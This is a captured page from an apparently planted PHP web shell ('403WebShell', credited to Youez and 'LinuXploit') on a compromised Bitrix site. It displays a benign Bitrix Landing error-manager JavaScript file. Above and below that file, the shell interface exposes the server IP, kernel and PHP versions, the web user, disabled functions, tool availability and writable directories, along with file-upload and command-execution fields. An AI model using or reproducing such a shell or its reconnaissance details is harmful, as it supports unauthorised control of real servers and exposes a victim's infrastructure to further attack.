%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.16.218.116
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/error_manager.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing");

	var clone = BX.Landing.Utils.clone;

	var availableActions = {
		"Landing::addBlock": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__ADD_BLOCK"),
		"Landing::deleteBlock": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__DELETE_BLOCK"),
		"Landing::upBlock": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__SAVE_CHANGES"),
		"Landing::downBlock": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__SAVE_CHANGES"),
		"Landing::showBlock": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__SAVE_CHANGES"),
		"Landing::hideBlock": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__SAVE_CHANGES"),
		"Block::cloneCard": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__CLONE_CARD"),
		"Block::removeCard": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__DELETE_CARD"),
		"Block::updateStyles": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__SAVE_CHANGES"),
		"Block::updateNodes": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__SAVE_CHANGES"),
		"Site::getList": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__SITE_GET_LIST"),
		"Block::getList": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__BLOCK_GET_LIST"),
		"Utils::uploadFile": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__UPLOAD_FILE"),
		"UNKNOWN_ACTION": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__UNKNOWN_ACTION"),
		"BAD_IMAGE": BX.Landing.Loc.getMessage("LANDING_ACTION_ERROR__BAD_IMAGE")
	};


	/**
	 * Implements interface wor works with error manager.
	 * Implements singleton design pattern. !! Don't use it as constructor
	 * use BX.Landing.ErrorManager.getInstance() for gets instance of this module
	 * @constructor
	 */
	BX.Landing.ErrorManager = function()
	{
		this.stack = [];
		this.showTimeout = null;
	};


	/**
	 * Gets manager instance
	 * @return {BX.Landing.ErrorManager}
	 */
	BX.Landing.ErrorManager.getInstance = function()
	{
		var rootWindow = BX.Landing.PageObject.getRootWindow();

		if (!rootWindow.BX.Landing.ErrorManager.instance)
		{
			rootWindow.BX.Landing.ErrorManager.instance = new BX.Landing.ErrorManager();
		}

		return rootWindow.BX.Landing.ErrorManager.instance;
	};


	BX.Landing.ErrorManager.prototype = {
		/**
		 * Adds error to collection
		 * @param error
		 * @return {*}
		 */
		add: function(error)
		{
			if (error.type === "error")
			{
				error.action = error.action in availableActions ? error.action : "UNKNOWN_ACTION";

				this.stack.push({
					action: error.action,
					description: availableActions[error.action],
					hideSupportLink: error.hideSupportLink
				});

				return this.show();
			}
		},


		/**
		 * Shows all errors from collection
		 */
		show: function()
		{
			clearTimeout(this.showTimeout);

			this.showTimeout = setTimeout(function() {
				var stack = clone(this.stack);
				this.stack = [];
				var text = stack.map(this.createErrorMessage, this).join("");
				var hideSupportLink = stack.some(function(item) {
					return item.hideSupportLink === true;
				});
				BX.Landing.UI.Panel.Alert.getInstance().show("error", text, hideSupportLink);
			}.bind(this), 100);
		},


		/**
		 * Creates error item html
		 * @param {{descriptions: string}} error
		 * @return {string}
		 */
		createErrorMessage: function(error)
		{
			return "<div class=\"landing-ui-error-item\">"+error.description+"</div>"
		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit